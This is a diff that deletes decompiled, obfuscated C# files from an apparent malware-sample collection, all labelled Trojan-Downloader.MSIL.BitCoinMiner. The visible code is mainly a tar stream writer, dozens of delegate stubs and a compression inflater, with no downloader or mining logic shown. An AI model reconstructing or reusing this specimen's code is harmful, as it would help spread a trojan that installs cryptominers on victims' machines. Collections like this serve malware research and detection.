public override long Seek([In] long obj0, [In] SeekOrigin obj1) => \u0015\u0004.\u007E\u0008\u0005((object) this.\u0008, obj0, obj1);
public override void SetLength([In] long obj0) => \u009F\u0004.\u007E\u000E\u0005((object) this.\u0008, obj0);
public override int ReadByte() => \u0011\u0003.\u007E\u0010\u0005((object) this.\u0008);
public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2) => \u0089\u0005.\u007E\u000F\u0005((object) this.\u0008, obj0, obj1, obj2);
public override void Flush() => \u0093\u0003.\u007E\u0007\u0005((object) this.\u0008);
public void \u0080\u0004()
{
if (this.\u0081\u0004())
goto label_2;
label_1:
this.\u0083\u0004();
return;
label_2:
this.\u0082\u0004();
goto label_1;
}
public override void Close()
{
if (this.\u0003)
return;
this.\u0003 = true;
this.\u0080\u0004();
this.\u0007.Close();
}
[SpecialName]
private bool \u0081\u0004() => this.\u0001 < this.\u0004;
public void \u0082\u0004()
{
if (this.\u0002 > 0)
{
\u0099\u0004.\u0099((Array) this.\u0006, this.\u0002, this.\u0006.Length - this.\u0002);
this.\u0007.\u0002\u0004(this.\u0006);
this.\u0001 += (long) this.\u0002;
this.\u0002 = 0;
}
if (this.\u0001 < this.\u0004)
throw new TarException(\u001D\u0003.\u001A\u0002(\u0008.\u000E\u0003(2863), (object) this.\u0001, (object) this.\u0004));
}
public override void WriteByte([In] byte obj0) => \u001F\u0004.\u007E\u0011\u0005((object) this, new byte[1]
{
obj0
}, 0, 1);
public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
if (obj0 == null)
throw new ArgumentNullException(\u0008.\u000E\u0003(568));
if (obj1 < 0)
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(577), \u0008.\u000E\u0003(2972));
if (obj0.Length - obj1 < obj2)
throw new ArgumentException(\u0008.\u000E\u0003(2997));
if (obj2 < 0)
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611), \u0008.\u000E\u0003(2972));
if (this.\u0001 + (long) obj2 > this.\u0004)
{
string message = \u001D\u0003.\u001A\u0002(\u0008.\u000E\u0003(3050), (object) obj2, (object) this.\u0004);
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611), message);
}
if (this.\u0002 > 0)
{
if (this.\u0002 + obj2 >= this.\u0005.Length)
{
int num = this.\u0005.Length - this.\u0002;
\u008F\u0003.\u0098((Array) this.\u0006, 0, (Array) this.\u0005, 0, this.\u0002);
\u008F\u0003.\u0098((Array) obj0, obj1, (Array) this.\u0005, this.\u0002, num);
this.\u0007.\u0002\u0004(this.\u0005);
this.\u0001 += (long) this.\u0005.Length;
obj1 += num;
obj2 -= num;
this.\u0002 = 0;
}
else
{
\u008F\u0003.\u0098((Array) obj0, obj1, (Array) this.\u0006, this.\u0002, obj2);
obj1 += obj2;
this.\u0002 += obj2;
obj2 -= obj2;
}
}
while (obj2 > 0)
{
if (obj2 < this.\u0005.Length)
{
\u008F\u0003.\u0098((Array) obj0, obj1, (Array) this.\u0006, this.\u0002, obj2);
this.\u0002 += obj2;
break;
}
this.\u0007.\u0002\u0004(obj0, obj1);
int length = this.\u0005.Length;
this.\u0001 += (long) length;
obj2 -= length;
obj1 += length;
}
}
private void \u0083\u0004()
{
\u0099\u0004.\u0099((Array) this.\u0005, 0, this.\u0005.Length);
this.\u0007.\u0002\u0004(this.\u0005);
}
}
}

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0003.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System;
using System.Runtime.InteropServices;
internal delegate bool \u0010\u0003([In] TimeSpan obj0, [In] TimeSpan obj1);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0004.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Reflection.Emit;
using System.Runtime.InteropServices;
internal delegate ILGenerator \u0010\u0004([In] object obj0);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0005.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
using System.Windows.Forms;
internal delegate void \u0010\u0005([In] object obj0, [In] AutoScaleMode obj1);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0011_0003.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate int \u0011\u0003([In] object obj0);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0011_0004.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate void \u0011\u0004([In] string obj0);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0011_0005.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
using System.Text;
internal delegate StringBuilder \u0011\u0005([In] object obj0, [In] string obj1);

1191
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0012/_0011.cs
View File

File diff suppressed because it is too large Load Diff

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0012_0003.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.Runtime.InteropServices;
internal delegate void \u0012\u0003([In] object obj0, [In] ShutdownEventHandler obj1);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0012_0004.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using Microsoft.VisualBasic.Devices;
using System.Runtime.InteropServices;
internal delegate Network \u0012\u0004([In] object obj0);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0012_0005.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
using System.Windows.Forms;
internal delegate void \u0012\u0005([In] object obj0, [In] FormBorderStyle obj1);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0013_0003.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate void \u0013\u0003([In] object obj0, [In] bool obj1);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0013_0004.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using Microsoft.VisualBasic.MyServices;
using System.Runtime.InteropServices;
internal delegate SpecialDirectoriesProxy \u0013\u0004([In] object obj0);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0013_0005.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate int \u0013\u0005([In] int obj0, [In] int obj1);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0014_0003.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate string \u0014\u0003([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0014_0004.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate string \u0014\u0004([In] object obj0);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0014_0005.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Reflection;
using System.Runtime.InteropServices;
internal delegate FieldInfo[] \u0014\u0005([In] object obj0, [In] BindingFlags obj1);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0015_0003.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Reflection;
internal delegate Assembly \u0015\u0003();

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0015_0004.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.IO;
using System.Runtime.InteropServices;
internal delegate long \u0015\u0004([In] object obj0, [In] long obj1, [In] SeekOrigin obj2);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0015_0005.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Globalization;
using System.Runtime.InteropServices;
internal delegate int \u0015\u0005([In] string obj0, [In] string obj1, [In] bool obj2, [In] CultureInfo obj3);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0016_0003.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System;
using System.Runtime.InteropServices;
internal delegate void \u0016\u0003([In] object obj0, [In] EventHandler obj1);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0016_0004.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.IO;
using System.Runtime.InteropServices;
internal delegate FileStream \u0016\u0004([In] string obj0);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0016_0005.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System;
using System.Runtime.InteropServices;
internal delegate void \u0016\u0005([In] Array obj0, [In] RuntimeFieldHandle obj1);

464
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0017_0002/_0013.cs
View File

@ -1,464 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using \u000E\u0002;
using \u0017\u0002;
using \u0090;
using ICSharpCode.SharpZipLib;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0017\u0002
{
internal sealed class \u0013
{
private static readonly int[] \u0001 = new int[29]
{
3,
4,
5,
6,
7,
8,
9,
10,
11,
13,
15,
17,
19,
23,
27,
31,
35,
43,
51,
59,
67,
83,
99,
115,
131,
163,
195,
227,
258
};
private static readonly int[] \u0002 = new int[29]
{
0,
0,
0,
0,
0,
0,
0,
0,
1,
1,
1,
1,
2,
2,
2,
2,
3,
3,
3,
3,
4,
4,
4,
4,
5,
5,
5,
5,
0
};
private static readonly int[] \u0003 = new int[30]
{
1,
2,
3,
4,
5,
7,
9,
13,
17,
25,
33,
49,
65,
97,
129,
193,
257,
385,
513,
769,
1025,
1537,
2049,
3073,
4097,
6145,
8193,
12289,
16385,
24577
};
private static readonly int[] \u0004 = new int[30]
{
0,
0,
0,
0,
1,
1,
2,
2,
3,
3,
4,
4,
5,
5,
6,
6,
7,
7,
8,
8,
9,
9,
10,
10,
11,
11,
12,
12,
13,
13
};
private int \u0005;
private int \u0006;
private int \u0007;
private int \u0008;
private int \u000E;
private int \u000F;
private bool \u0010;
private long \u0011;
private long \u0012;
private bool \u0013;
private \u0014 \u0014;
private \u0015 \u0015;
private \u0017 \u0016;
private \u0016 \u0017;
private \u0016 \u0018;
private \u008F \u0019;
public \u0013()
: this(false)
{
}
public \u0013([In] bool obj0)
{
this.\u0013 = obj0;
this.\u0019 = new \u008F();
this.\u0014 = new \u0014();
this.\u0015 = new \u0015();
this.\u0005 = obj0 ? 2 : 0;
}
private bool \u0088\u0004()
{
int num1 = this.\u0014.\u0013\u0003(16);
if (num1 < 0)
return false;
this.\u0014.\u0014\u0003(16);
int num2 = (num1 << 8 | num1 >> 8) & (int) ushort.MaxValue;
if (num2 % 31 != 0)
throw new SharpZipBaseException(\u0008.\u000E\u0003(3263));
if ((num2 & 3840) != 2048)
throw new SharpZipBaseException(\u0008.\u000E\u0003(3296));
if ((num2 & 32) == 0)
{
this.\u0005 = 2;
}
else
{
this.\u0005 = 1;
this.\u0007 = 32;
}
return true;
}
private bool \u0089\u0004()
{
for (; this.\u0007 > 0; this.\u0007 -= 8)
{
int num = this.\u0014.\u0013\u0003(8);
if (num < 0)
return false;
this.\u0014.\u0014\u0003(8);
this.\u0006 = this.\u0006 << 8 | num;
}
return false;
}
private bool \u0010\u0003()
{
int num1 = this.\u0015.\u001E\u0003();
while (num1 >= 258)
{
switch (this.\u0005)
{
case 7:
int num2;
while (((num2 = this.\u0017.\u0081\u0003(this.\u0014)) & -256) == 0)
{
this.\u0015.Write(num2);
if (--num1 < 258)
return true;
}
if (num2 < 257)
{
if (num2 < 0)
return false;
this.\u0018 = (\u0016) null;
this.\u0017 = (\u0016) null;
this.\u0005 = 2;
return true;
}
try
{
this.\u0008 = \u0013.\u0001[num2 - 257];
this.\u0007 = \u0013.\u0002[num2 - 257];
goto case 8;
}
catch (Exception ex)
{
throw new SharpZipBaseException(\u0008.\u000E\u0003(3333));
}
case 8:
if (this.\u0007 > 0)
{
this.\u0005 = 8;
int num3 = this.\u0014.\u0013\u0003(this.\u0007);
if (num3 < 0)
return false;
this.\u0014.\u0014\u0003(this.\u0007);
this.\u0008 += num3;
}
this.\u0005 = 9;
goto case 9;
case 9:
int index = this.\u0018.\u0081\u0003(this.\u0014);
if (index < 0)
return false;
try
{
this.\u000E = \u0013.\u0003[index];
this.\u0007 = \u0013.\u0004[index];
goto case 10;
}
catch (Exception ex)
{
throw new SharpZipBaseException(\u0008.\u000E\u0003(3366));
}
case 10:
if (this.\u0007 > 0)
{
this.\u0005 = 10;
int num4 = this.\u0014.\u0013\u0003(this.\u0007);
if (num4 < 0)
return false;
this.\u0014.\u0014\u0003(this.\u0007);
this.\u000E += num4;
}
this.\u0015.\u001C\u0003(this.\u0008, this.\u000E);
num1 -= this.\u0008;
this.\u0005 = 7;
continue;
default:
throw new SharpZipBaseException(\u0008.\u000E\u0003(3395));
}
}
return true;
}
private bool \u008A\u0004()
{
for (; this.\u0007 > 0; this.\u0007 -= 8)
{
int num = this.\u0014.\u0013\u0003(8);
if (num < 0)
return false;
this.\u0014.\u0014\u0003(8);
this.\u0006 = this.\u0006 << 8 | num;
}
if ((int) this.\u0019.\u0088\u0003() != this.\u0006)
{
object[] objArray = new object[4]
{
(object) \u0008.\u000E\u0003(3424),
(object) (int) this.\u0019.\u0088\u0003(),
(object) \u0008.\u000E\u0003(3465),
(object) this.\u0006
};
throw new SharpZipBaseException(\u008B\u0004.\u001E\u0002(objArray));
}
this.\u0005 = 12;
return false;
}
private bool \u0011\u0003()
{
switch (this.\u0005)
{
case 0:
return this.\u0088\u0004();
case 1:
return this.\u0089\u0004();
case 2:
if (this.\u0010)
{
if (this.\u0013)
{
this.\u0005 = 12;
return false;
}
this.\u0014.\u0017\u0003();
this.\u0007 = 32;
this.\u0005 = 11;
return true;
}
int num1 = this.\u0014.\u0013\u0003(3);
if (num1 < 0)
return false;
this.\u0014.\u0014\u0003(3);
if ((num1 & 1) != 0)
this.\u0010 = true;
switch (num1 >> 1)
{
case 0:
this.\u0014.\u0017\u0003();
this.\u0005 = 3;
break;
case 1:
this.\u0017 = \u0016.\u0002;
this.\u0018 = \u0016.\u0003;
this.\u0005 = 7;
break;
case 2:
this.\u0016 = new \u0017();
this.\u0005 = 6;
break;
default:
throw new SharpZipBaseException(\u0002\u0005.\u001C\u0002((object) \u0008.\u000E\u0003(3474), (object) num1));
}
return true;
case 3:
if ((this.\u000F = this.\u0014.\u0013\u0003(16)) < 0)
return false;
this.\u0014.\u0014\u0003(16);
this.\u0005 = 4;
goto case 4;
case 4:
int num2 = this.\u0014.\u0013\u0003(16);
if (num2 < 0)
return false;
this.\u0014.\u0014\u0003(16);
if (num2 != (this.\u000F ^ (int) ushort.MaxValue))
throw new SharpZipBaseException(\u0008.\u000E\u0003(3503));
this.\u0005 = 5;
goto case 5;
case 5:
this.\u000F -= this.\u0015.\u001D\u0003(this.\u0014, this.\u000F);
if (this.\u000F != 0)
return !this.\u0014.\u0018\u0003();
this.\u0005 = 2;
return true;
case 6:
if (!this.\u0016.\u0011\u0003(this.\u0014))
return false;
this.\u0017 = this.\u0016.\u0082\u0003();
this.\u0018 = this.\u0016.\u0083\u0003();
this.\u0005 = 7;
goto case 7;
case 7:
case 8:
case 9:
case 10:
return this.\u0010\u0003();
case 11:
return this.\u008A\u0004();
case 12:
return false;
default:
throw new SharpZipBaseException(\u0008.\u000E\u0003(3540));
}
}
public void \u001A\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
this.\u0014.\u001A\u0003(obj0, obj1, obj2);
this.\u0012 += (long) obj2;
}
public int \u0012\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
if (obj0 == null)
throw new ArgumentNullException(\u0008.\u000E\u0003(568));
if (obj2 < 0)
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611), \u0008.\u000E\u0003(3581));
if (obj1 < 0)
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(577), \u0008.\u000E\u0003(3614));
if (obj1 + obj2 > obj0.Length)
throw new ArgumentException(\u0008.\u000E\u0003(3651));
if (obj2 == 0)
{
if (!this.\u008C\u0004())
this.\u0011\u0003();
return 0;
}
int num1 = 0;
do
{
if (this.\u0005 != 11)
{
int num2 = this.\u0015.\u007F\u0003(obj0, obj1, obj2);
if (num2 > 0)
{
this.\u0019.\u0089\u0003(obj0, obj1, num2);
obj1 += num2;
num1 += num2;
this.\u0011 += (long) num2;
obj2 -= num2;
if (obj2 == 0)
return num1;
}
}
}
while (this.\u0011\u0003() || this.\u0015.\u001F\u0003() > 0 && this.\u0005 != 11);
return num1;
}
[SpecialName]
public bool \u0018\u0003() => this.\u0014.\u0018\u0003();
[SpecialName]
public bool \u008B\u0004() => this.\u0005 == 1 && this.\u0007 == 0;
[SpecialName]
public bool \u008C\u0004() => this.\u0005 == 12 && this.\u0015.\u001F\u0003() == 0;
}
}

155
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0017_0002/_0016.cs
View File

@ -1,155 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
